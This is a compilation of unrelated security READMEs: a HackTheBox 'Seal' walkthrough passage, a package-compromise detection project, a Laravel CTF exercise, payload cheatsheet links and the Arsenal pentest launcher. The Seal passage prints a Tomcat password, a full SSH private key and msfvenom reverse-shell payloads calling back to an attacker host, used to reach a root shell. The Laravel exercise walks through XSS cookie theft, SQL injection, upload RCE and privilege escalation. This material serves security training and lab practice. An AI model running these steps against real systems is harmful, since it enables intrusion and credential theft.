```<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>```. Those creds work with user ```luis``` to GitBucket on port 8080: ![luis.JPG](images/luis.JPG) On the page [http://10.10.10.250:8080/root/seal_market/blob/master/nginx/sites-enabled/default](http://10.10.10.250:8080/root/seal_market/blob/master/nginx/sites-enabled/default) we can see the following ```nginx``` configuration: ![nginx.JPG](images/nginx.JPG) Let's look at ```location /manager/html```, By reading the blog [https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/](https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/) about nginx-misconfigurations we can see we can use **Nginx off-by-slash fail** misconfiguration on that URL to access to tomcat manager page which is located on ```/manager/html```. If we are trying to access it directly by [https://seal.htb/manager/html](https://seal.htb/manager/html) we will get HTTP response code 403. If we are using the misconfiguration and bypass techniques from [https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf) we can use the following logic: ![bypass.JPG](images/bypass.JPG) So according the logic above we can access to [https://seal.htb/manager/;/html](https://seal.htb/manager/;/html) or to [https://seal.htb/manager/.;/html](https://seal.htb/manager/.;/html) to get tomcat manager page: ![tomcat.JPG](images/tomcat.JPG) If we have the tomcat manager page we can deploy a ```war``` file with a reverse shell. First, Let's create the ```war``` using ```msfvenom``` as follow: ```console ┌─[evyatar@parrot]─[/hackthebox/Seal] └──╼ $ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.14 LPORT=9999 -f war -o rshell.war Payload size: 1098 bytes Final size of war file: 1098 bytes Saved as: rshell.war ``` Create listener on ```metasploit```: ```console msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp payload => java/jsp_shell_reverse_tcp msf6 exploit(multi/handler) > set LPORT 9999 LPORT => 9999 msf6 exploit(multi/handler) > set LHOST 10.10.14.14 LHOST => 10.10.14.14 msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 10.10.14.14:9999 ``` Now, upload the war file to the Apache Tomcat manager deploy section, Intercept the request using BurpSuite and change the URL from ```/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=A84701CDC5F33874EC130407E83C5215``` to ```/manager/;/html/upload?org.apache.catalina.filters.CSRF_NONCE=A84701CDC5F33874EC130407E83C5215``` then forward the request: ![deploy.JPG](images/deploy.JPG) The script will appear under the application section on the same page, click on it, and wait for the connection back: ![applications.JPG](images/applications.JPG) And we get ```tomcat``` user shell: ```console [*] Started reverse TCP handler on 10.10.14.14:9999 [*] Command shell session 1 opened (10.10.14.14:9999 -> 10.10.10.250:47242) at 2021-08-12 03:32:42 +0300 whoami tomcat ``` ### User 2 By running ```ps -aux | grep luis``` we found the following process running: ```console root 4235 0.0 0.0 2608 540 ? Ss 11:52 0:00 /bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml ``` Let's look at the playbook ```yaml``` file ```/opt/backups/playbook/run.yml```: ```yaml - hosts: localhost tasks: - name: Copy Files synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes - name: Server Backups archive: path: /opt/backups/files/ dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz" - name: Clean file: state: absent path: /opt/backups/files/ ``` We can see three tasks, one that copy files from ```src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard``` to ```dest=/opt/backups/files``` **including** ```copy_links=yes```. Another one creates an archive from the dest directory and the last one that cleanses the dest directory. As we can see the copy running with ```copy_links=yes```, Meaning that we can create link to ```luis``` ssh private key (```/home/luis/.ssh/id_rsa``` ). ```console pwd /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads ln -s /home/luis/.ssh/id_rsa ss ls -ltr lrwxrwxrwx 1 tomcat tomcat 22 Aug 12 11:51 ss -> /home/luis/.ssh/id_rsa ``` Great, Now we need to wait to archive task that create for us ```gz``` file on ```/opt/backups/files/``` which is possible contains ```luis``` ssh private key on ```/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/ss```. After few seconds we can see the following gzip file on ```/opt/backups/archives/```: ```console pwd /opt/backups/archives ls backup-2021-08-12-11:55:33.gz ``` Let's copy and extract the gzip file to our host using ```nc```: ```console ┌─[evyatar@parrot]─[/hackthebox/Seal/backup] └──╼ $ ls backup-2021-08-12-115533.gz ┌─[evyatar@parrot]─[/hackthebox/Seal/backup] └──╼ $ gunzip backup-2021-08-12-115533.gz ┌─[evyatar@parrot]─[/hackthebox/Seal/backup] └──╼ $ file backup-2021-08-12-115533 backup-2021-08-12-115533: POSIX tar archive ┌─[evyatar@parrot]─[/hackthebox/Seal/backup] └──╼ $ tar xvf backup-2021-08-12-115533 dashboard/ dashboard/scripts/ dashboard/images/ dashboard/css/ dashboard/uploads/ dashboard/bootstrap/ tar: dashboard/uploads: time stamp 2021-08-12 15:03:34.4266555 is 163.30818263 s in the future dashboard/index.html dashboard/scripts/flot/ dashboard/scripts/datatables/ dashboard/scripts/jquery-ui-1.10.1.custom.min.js dashboard/scripts/common.js dashboard/scripts/jquery-1.9.1.min.js dashboard/scripts/flot/jquery.flot.resize.js dashboard/scripts/flot/jquery.flot.pie.js dashboard/scripts/flot/jquery.flot.js dashboard/scripts/datatables/jquery.dataTables.js dashboard/images/jquery-ui/ dashboard/images/icons/ dashboard/images/img.jpg dashboard/images/user.png dashboard/images/bg.png dashboard/images/jquery-ui/picker.png dashboard/images/icons/css/ dashboard/images/icons/font/ dashboard/images/icons/css/font-awesome.css dashboard/images/icons/font/fontawesome-webfont3294.ttf dashboard/images/icons/font/fontawesome-webfontd41d.eot dashboard/images/icons/font/fontawesome-webfont3294.eot dashboard/images/icons/font/fontawesome-webfont3294.woff dashboard/css/theme.css dashboard/uploads/ss dashboard/bootstrap/css/ dashboard/bootstrap/js/ dashboard/bootstrap/img/ dashboard/bootstrap/css/bootstrap-responsive.min.css dashboard/bootstrap/css/bootstrap.min.css dashboard/bootstrap/js/bootstrap.min.js dashboard/bootstrap/img/glyphicons-halflings.png dashboard/bootstrap/img/glyphicons-halflings-white.png ``` And we can see the file ```dashboard/uploads/ss``` which contains ssh private key of ```luis``` user: ```console ┌─[evyatar@parrot]─[/hackthebox/Seal/backup] └──╼ $ cat dashboard/uploads/ss -----BEGIN OPENSSH PRIVATE KEY----- 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 u8KqOiDVrwmFJRAAAACWx1aXNAc2VhbAE= -----END OPENSSH PRIVATE KEY----- ``` Let's use this ssh private key to login ```luis``` user. ```console ┌─[evyatar@parrot]─[/hackthebox/Seal] └──╼ $ ssh -i id_rsa [email protected] Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Thu 12 Aug 2021 12:07:26 PM UTC System load: 0.0 Usage of /: 46.6% of 9.58GB Memory usage: 13% Swap usage: 0% Processes: 171 Users logged in: 0 IPv4 address for eth0: 10.10.10.250 IPv6 address for eth0: dead:beef::250:56ff:feb9:68da * Pure upstream Kubernetes 1.21, smallest, simplest cluster ops! https://microk8s.io/ 22 updates can be applied immediately. 15 of these updates are standard security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Fri May 7 07:00:18 2021 from 10.10.14.2 luis@seal:~$ cat user.txt 1311074a362cde6998f1fe4ee125a222 ``` And we get the user flag ```1311074a362cde6998f1fe4ee125a222```. ### Root By running ```sudo -l``` we can see the following: ```console luis@seal:~$ sudo -l Matching Defaults entries for luis on seal: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User luis may run the following commands on seal: (ALL) NOPASSWD: /usr/bin/ansible-playbook * ``` Meaning that we can create our playbook to execute shell as root. First, Let's ```msfvenom``` payload for linux: ```console ┌─[evyatar@parrot]─[/hackthebox/Seal] └──╼ $ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.14 LPORT=4242 -f elf > reverse.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 74 bytes Final size of elf file: 194 bytes ``` Next, Copy that using ```nc``` to ```/home/luis/```, Create the following playbook: ```yaml - hosts: localhost tasks: - name: Reverse shell as root command: /home/luis/reverse.elf ``` Listen to port 4242 using ```nc```: ```console ┌─[evyatar@parrot]─[/hackthebox/Seal] └──╼ $ nc -lvp 4242 listening on [any] 4242 ... ``` Run the playbook as root: ```console luis@seal:~$ sudo /usr/bin/ansible-playbook rev-playbook.yml [WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all' PLAY [localhost] ***************************************************************************************************************************************************************************** TASK [Gathering Facts] *********************************************************************************************************************************************************************** ok: [localhost] TASK [Reverse shell as root] ***************************************************************************************************************************************************************** ``` Get shell: ```console listening on [any] 4242 ... connect to [10.10.16.227] from seal.htb [10.10.10.250] 57546 whoami root cat /root/root.txt 0dd41be6d3f326e5b57ff32924ec923d ``` And we get the root flag ```0dd41be6d3f326e5b57ff32924ec923d```.
<h1 align="center">Packages <a href="https://twitter.com/intent/tweet?text=Trickest%20Packages%20-%20Automated%20compromise%20detection%20of%20the%20world's%20most%20popular%20packages%20%40trick3st%0A%0Ahttps%3A%2F%2Fgithub.com%2Ftrickest%2Fpackages&hashtags=bugbounty,bugbountytips,infosec"><img src="https://img.shields.io/badge/Tweet--lightgrey?logo=twitter&style=social" alt="Tweet" height="20"/></a></h1> <h3 align="center">Automated compromise detection of the world's most popular packages</h3> For each package registry, 5 files are generated: - `non_existent_users.csv`: Packages that point to a GitHub repository whose owner doesn't exist anymore: [PyPI](pypi/non_existent_users.csv), [npm](npm/non_existent_users.csv) - `suspicious_updates.csv`: Packages that have been updated on the package repository without a corresponding update to the code repository's default branch: [PyPI](pypi/suspicious_updates.csv), [npm](npm/suspicious_updates.csv) - `broken_urls.csv`: Packages that have a broken URL anywhere in their description, homepage, docs URL, bugtrack URL, etc: [PyPI](pypi/broken_urls.csv), [npm](npm/broken_urls.csv) - `mismatching_package_repository.csv`: Packages that point to a GitHub repository whose name doesn't match the package name (This isn't always indicative of a compromised package but it helps catch malicious packages that try to impersonate legitimate ones): [PyPI](pypi/mismatching_package_repository.csv), [npm](npm/mismatching_package_repository.csv) - `repeating_repositories.csv`: Packages that point to a GitHub repository that another package also points to (This isn't always indicative of a compromised package but it helps catch malicious packages that try to impersonate legitimate ones): [PyPI](pypi/repeating_repositories.csv), [npm](npm/repeating_repositories.csv) [<img src="./banner.png" />](https://trickest-access.paperform.co/) ## How it Works A [Trickest](https://trickest.com) workflow gets the initial dataset from: - [hugovk's Top PyPI packages project](https://hugovk.github.io/top-pypi-packages/) for PyPI packages. - [anvaka's npmrank project](https://github.com/anvaka/npmrank) - [Example](https://gist.github.com/anvaka/8e8fa57c7ee1350e3491) for npm packages. Then, it performs multiple checks to find any red flags that could indicate that a package is (or can be) compromised. ![Trickest Workflow](packages.png "Trickest Workflow - Packages") ### TB; DZ (Too big; didn't zoom) - The initial PyPI dataset is collected from the [Top PyPI packages project](https://hugovk.github.io/top-pypi-packages/), which contains a list of PyPI's top 5000 most downloaded packages, updated monthly. (Thanks, [@hugovk](https://github.com/hugovk)!) - The npm dataset is collected using the [npmrank project](https://gist.github.com/anvaka/8e8fa57c7ee1350e3491) (Thanks, [@anvaka](https://github.com/anvaka)!) which collect the: 1. Top 1,000 most depended-upon packages 2. Top 1,000 packages with the largest number of dependencies 3. Top 1,000 packages with the highest PageRank score - When merged and deduplicated, they amount to ~2500 packages across all categories. - The package names are passed to the `extract-metadata` node which collects 4 categories of info about each package: - The latest package release date - The GitHub repository connected to the package - The repository's latest commit date - The URLs that the package points to anywhere - This node branches off into 5 checks: - The package's latest release date and repository's latest commit date are compared. If a package version has been released _after_ the latest commit date, the package is flagged. - Example: The `ctx` package (now deleted) had its [last commit in 2014](https://github.com/figlief/ctx/commits/master) but a [new version was released in 2022](https://web.archive.org/web/20220519184823/https://pypi.org/project/ctx/#history) which [turned out to be malicious](https://www.reddit.com/r/Python/comments/uwhzkj/i_think_the_ctx_package_on_pypi_has_been_hacked/). - GitHub usernames are extracted from the repository URLs and passed to [ffuf](https://github.com/ffuf/ffuf) which queries the GitHub API to check if any usernames don't exist anymore (Thanks [@joohoi](https://github.com/joohoi)!) - The package's URLs are passed to [hakcheckurl](https://github.com/hakluke/hakcheckurl) to check if any URLs are broken and could be taken over. (Thanks [@hakluke](https://github.com/hakluke)) - The package's GitHub repository is checked and the package is flagged if: - the repository name doesn't match the package name - the repository has been used in another package before - In the end, the results of these checks are matched back to their packages and pushed to this repository. ## Contribution All contributions are welcome! Got an idea for another check? Know a way to make a check more accurate? Feel free to create a new ticket via [GitHub issues](https://github.com/trickest/packages/issues), tweet at us [@trick3st](https://twitter.com/trick3st), or join the conversation on [Discord](https://discord.gg/7HZmFYTGcQ). ## Build your own workflows! We believe in the value of tinkering. Sign up for a demo on [trickest.com](https://trickest.com) to customize this workflow to your use case, get access to many more workflows, or build your own from scratch! [<img src="./banner.png" />](https://trickest-access.paperform.co/)
# CTF Style Laravel Pentesting Excercise This exercise has been test driven and developed on MacOS & Docker. Any other configurations will certainly need tweaking in certain parts, so be prepared to debug as you go along. Debian based distros like Ubuntu and Kali Linux should work pretty well. Basic PHP, Docker, *nix cli and Laravel knowledge are a must for this exercise. If you're lacking any of these, prepare to learn and tackle _a lot of_ issues as you proceed with this exercise. # !! Disclaimer !! This is **NOT** a copy-paste style exercise. There are **actual** steps that you need to do and learn (_and to search Google, quite a bit actually_) in order to successfully complete the exercise. The goal of this exercise is to teach you hands-on basic exploitation techniques that will threaten a poorly engineered PHP/Laravel application. By understanding how to exploit _stupid_ mistakes like not validating file uploads, or echoing user input raw into DOM, you'll hopefully be less likely to do these mistakes at your day-to-day life & work. ## There are 5 different vulnerabilities & exploits included in this exercise. 1. Persistent XSS Attack 2. SQL Injection Attack 3. Password Cracking Attack (_Dictionary Attack_) 4. RCE through Malicious File Uploads 5. Privilege Escalation Attack ## Requirements * Docker * Docker Compose * PHP (_>v7.1 preferably_) & Composer * Yarn/npm * nc (netcat) * john (https://www.openwall.com/john/) * sqlmap (http://sqlmap.org/) * pspy (https://github.com/DominicBreuker/pspy) * SecLists (https://github.com/danielmiessler/SecLists) * Browser that runs Javascript & recognises `fetch()` without a polyfill, preferably Chrome/Firefox * ~3GB of free disk space ## Installation & setup * Navigate to project root, and run `docker-compose build` to build the application docker image * This will take while since we're compiling Apache v2.2.20 & php v7.1.29 manually as part of the docker image building process * After the image has built successfully, start the app container & db container via running `docker-compose up -d` * Tweak exposed ports in `docker-compose.yaml` if ports `1234 && 33601` are already bound on your machine * Install php dependencies via `composer install` * `cp .env.example .env` to create the `.env` file * Install JS dependencies via yarn/npm, eg `yarn` or `npm install` * Build the JS bundle & compile Sass & Tailwind etc via `yarn dev` or `npm run dev` * Migrate & seed the database * `docker exec laracon-app php /app/artisan migrate:fresh --seed ` * If everything went well you should see "Best Laravel Jobs" & a working front-page by navigating to `http://localhost:1234` in your browser * If you're unsure about modifying your local hosts file, please skip the following option. * You can optionally set a hostname by appending eg. `127.0.0.1 laravel-ctf.com` to `/etc/hosts`, and then access the app via `http://laravel-ctf.com:1234` * When you're done, `docker-compose down` to stop & remove the containers of this exercise. * You should also clean the locally built image (_it's ~1,85GB in size..._) by finding it via `docker image ls` and removing it via `docker image rm IMAGE_ID` ## XSS Attack * Open a web server on your local machine * eg. `php -S localhost:8888` * Find the company profile of 'Hacking Laravel Inc.' and send them a message via contact form * Wrap the content of `exploits/xss.js` in script tags and send that as the message part of the contact form * Spy the user credentials from `DatabaseSeeder` and log in with those * Open dev tools in your browser before logging in * Log into the system with the credentials * Make sure that you see a 404 error & CORS error on your console to know that the XSS attack script executed successfully (*do not log out or the cookie gets invalidated!*) * See the authentication cookie being recorded into stdout/logfile by the web server that you started in step 1 * Open a new incognito browser window * Navigate to http://localhost:1234 & open dev tools * Replace the session cookie value with the token that you got * Make sure you copy *only* the token, not the URL encoded quotes around the actual value... * Refresh your browser window * Voilá, you've got initial foothold to the application now ## SQL Injection Attack * While logged in with the stolen token, see where you can find a job list within the application * By investigating the page you found, you should be able to find a jobs API URL endpoint (has a `?sort=` param in it) * Test the API endpoint for SQLi vulnerabilities via `sqlmap -u api_url_that_you_found --batch --dbms=mysql` (_keep the URL param in_) * This can easily run for over 10 minutes if you're using docker-for-mac, be patient... * You'll see 3 SQLi vulnerabilities listed if successful (_if not, go back and try harder_) * See what options sqlmap has available via `sqlmap --help` & find a way to extract admin user's password hash * Save the password hash into a file, that'll be required in the next step ## Password Attack (_Dictionary Based_) * Run `john` with top 10,000 passwords list (from SecLists) & bcrypt format, pass in the hash obtained in previous step * If you missed the password you can run `john` again with `--show` flag * You should have the admin user's password now * Switch to an admin account now to continue further ## Malicious File Uploads & Remote Code Execution * With admin credentials you can find a file uploader in the application that's lacking proper file type validation * Upload a backdoor / RCE script of your choice * Pro tip: try building your own script by combining `system()` & passing in an argument from a HTTP request via PHP's superglobals * Find the file you uploaded, and invade the machine by spawning a reverse shell connection onto the target machine (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) * Pro tip: remember to URL encode the RCE payload to preserve control characters * You should have a shell for user `daemon` now ## Privilege Escalation * There's something interesting happening on the target machine *consistently*... Try enumerating with `pspy` and see if you can figure out what I'm referring to. * Yes, you'll need to find a way to get the script transferred onto the machine first. See what tools you've got at your disposal that suit the task at hand. * If you don't see anything after sniffing for over 10-minutes with `pspy`, restart the containers via `docker-compose restart` & try again * Research your findings online, and find out how the process you discovered is being configured & operated * Hijack the process and escalate to root privileged reverse shell session * Congratulations, you've just rooted the machine & completed the exercise. # Issues Preferably open a PR directly rather than an issue if you find something wrong in the app and/or its documentation. As the license states this software comes "as is" with absolutely no warranty whatsoever, and therefor **isn't guaranteed** to be maintained and/or updated even if found faulty. # Developing Further Yes, eg. configuring a Selenium container (_via Laravel Dusk for example_) to trigger the XSS exploit code would be epic, rather than having to fire it manually like currently is the case. Feel free to open a PR for such if you get inspired. Feature wise however lets keep the application as it is, to not broaden its scope into an unmaintainable mess. # License MIT - see LICENSE file
# Cheatsheet of Payloads and Testing Guide :computer: :top: :new: <hr> <h2>XSS Filter Evasion Cheat Sheet</h2> <a href="https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#URL_encoding">XSS Filter Evasion Cheat Sheet</a> <h2>XSS-Polyglots</h2> <a href="https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot">XSS-Polyglots-Guide</a> <h2>Payloads All Things</h2> <a href="https://github.com/swisskyrepo/PayloadsAllTheThings">Payloads</a> <h2>List of Important Payloads and Attack Vectors</h2> <a href="https://github.com/danielmiessler/SecLists">SecList</a> <h2>FuzzDb</h2> <a href="https://github.com/fuzzdb-project/fuzzdb">Fuzzing Database</a> <h2>Xss-Payloads-list</h2> <a href="https://xss.devwerks.net/">XSS-HTML5-List</a> <h2>Bugbounty Cheatsheet From @EdOverflow</h2> <a href="https://github.com/EdOverflow/bugbounty-cheatsheet">Cheatsheet</a> <h2>Another XSS Payload List</h2> <a href="https://github.com/ismailtasdelen/xss-payload-list">Payload Lists</a>
# HackTheBox_writeup_Resolute User: e***4___x Brute for user ###use what you have got Enum Root: D**Admins: PriEsc or Ps***x : PrivEsc
# Arsenal ![](img/logo.png) Arsenal is just a quick inventory, reminder and launcher for pentest commands. <br>This project written by pentesters for pentesters simplify the use of all the hard-to-remember commands ![](img/arsenal.gif) In arsenal you can search for a command, select one and it's prefilled directly in your terminal. This functionality is independent of the shell used. Indeed arsenal emulates real user input (with TTY arguments and IOCTL) so arsenal works with all shells and your commands will be in the history. You have to enter arguments if needed, but arsenal supports global variables. <br> For example, during a pentest we can set the variable `ip` to prefill all commands using an ip with the right one. To do that you just have to enter the following command in arsenal: ``` >set ip=10.10.10.10 ``` Authors: * Guillaume Muh * mayfly This project is inspired by navi (<https://github.com/denisidoro/navi>) because the original version was in bash and too hard to understand to add features ## Arsenal new features ![](img/arsenal_update.png) - New colors - Add tmux new pane support (with -t) - Add default values in cheatsheets commands with `<argument|default_value>` - Support description inside cheatsheets - New categories and Tags - New cheatsheets - Add yml support (thx @0xswitch ) - Add fzf support with ctrl+t (thx @mgp25) ## Install & Launch - with pip : ``` python3 -m pip install arsenal-cli ``` - run (we also advice you to add this alias : `alias a='arsenal'`) ``` arsenal ``` - manually: ``` git clone https://github.com/Orange-Cyberdefense/arsenal.git cd arsenal python3 -m pip install -r requirements.txt ./run ``` Inside your .bashrc or .zshrc add the path to `run` to help you do that you could launch the addalias.sh script ``` ./addalias.sh ``` - Also if you are an Arch user you can install from the AUR: ```bash git clone https://aur.archlinux.org/arsenal.git cd arsenal makepkg -si ``` - Or with an AUR helper like yay: ```bash yay -S arsenal ``` ## Launch in tmux mode ``` ./run -t # if you launch arsenal in a tmux window with one pane, it will split the window and send the command to the otherpane without quitting arsenal # if the window is already splited the command will be send to the other pane without quitting arsenal ./run -t -e # just like the -t mode but with direct execution in the other pane without quitting arsenal ``` ## Add external cheatsheets You could add your own cheatsheets insode the my_cheats folder or in the ~/.cheats folder. You could also add additional paths to the file `<arsenal_home>/arsenal/modules/config.py`, arsenal reads `.md` (MarkDown) and `.rst` (RestructuredText). ``` CHEATS_PATHS = [ join(BASEPATH, "cheats"), # DEFAULT join(HOMEPATH, "docs/my_cheats") ] ``` Cheatsheets examples are in `<arsenal_home>/cheats`: `README.md` and `README.rst` ## Troubleshooting If you got on error on color init try : ``` export TERM='xterm-256color' ``` -- If you have the following exception when running Arsenal: ``` ImportError: cannot import name 'FullLoader' ``` First, check that requirements are installed: ``` pip install -r requirements.txt ``` If the exception is still there: ``` pip install -U PyYAML ``` ## Mindmap - Active directory mindmap - Due to csp on github when you open the svg, we moved the AD mindmap and the source to this repository : [https://github.com/Orange-Cyberdefense/ocd-mindmaps](https://github.com/Orange-Cyberdefense/ocd-mindmaps) [https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg](https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg) - AD mindmap black version ![](./mindmap/pentest_ad_black.png) - Exchange Mindmap (thx to @snovvcrash) ![](./mindmap/Pentesting_MS_Exchange_Server_on_the_Perimeter.png) - Active directory ACE mindmap ![](./mindmap/ACEs_xmind.png) ## TODO cheatsheets ### reverse shell - [X] msfvenom - [X] php - [X] python - [X] perl - [X] powershell - [X] java - [X] ruby ### whitebox analysis grep regex - [X] php - [X] nodejs - [X] hash ### Tools #### smb - [X] enum4linux - [X] smbmap - [ ] smbget - [X] rpcclient - [ ] rpcinfo - [X] nbtscan - [X] impacket #### kerberos & AD - [X] impacket - [X] bloodhound - [X] rubeus - [ ] powerview - [ ] shadow credentials attack - [ ] samaccountname attack #### MITM - [X] mitm6 - [X] responder #### Unserialize - [X] ysoserial - [ ] ysoserial.net ### bruteforce & pass cracking - [X] hydra - [X] hashcat - [X] john #### scan - [X] nmap - [X] eyewitness - [X] gowitness #### fuzz - [X] gobuster - [X] ffuf - [X] wfuzz #### DNS - [X] dig - [X] dnsrecon - [X] dnsenum - [X] sublist3r #### rpc - [ ] rpcbind #### netbios-ssn - [X] snmpwalk - [X] snmp-check - [X] onesixtyone #### sql - [X] sqlmap #### oracle - [ ] oscanner - [ ] sqlplus - [ ] tnscmd10g #### mysql - [X] mysql #### nfs - [X] showmount #### rdp - [X] xfreerdp - [X] rdesktop - [ ] ncrack #### mssql - [X] sqsh #### winrm - [X] evilwinrm #### redis - [ ] redis-cli #### postgres - [X] psql - [ ] pgdump #### vnc - [X] vncviewer #### x11 - [X] xspy - [X] xwd - [X] xwininfo #### ldap - [X] ldapsearch #### https - [ ] sslscan #### web - [ ] burp - [X] nikto - [ ] tplmap #### app web - [X] drupwn - [X] wpscan - [ ] nuclei
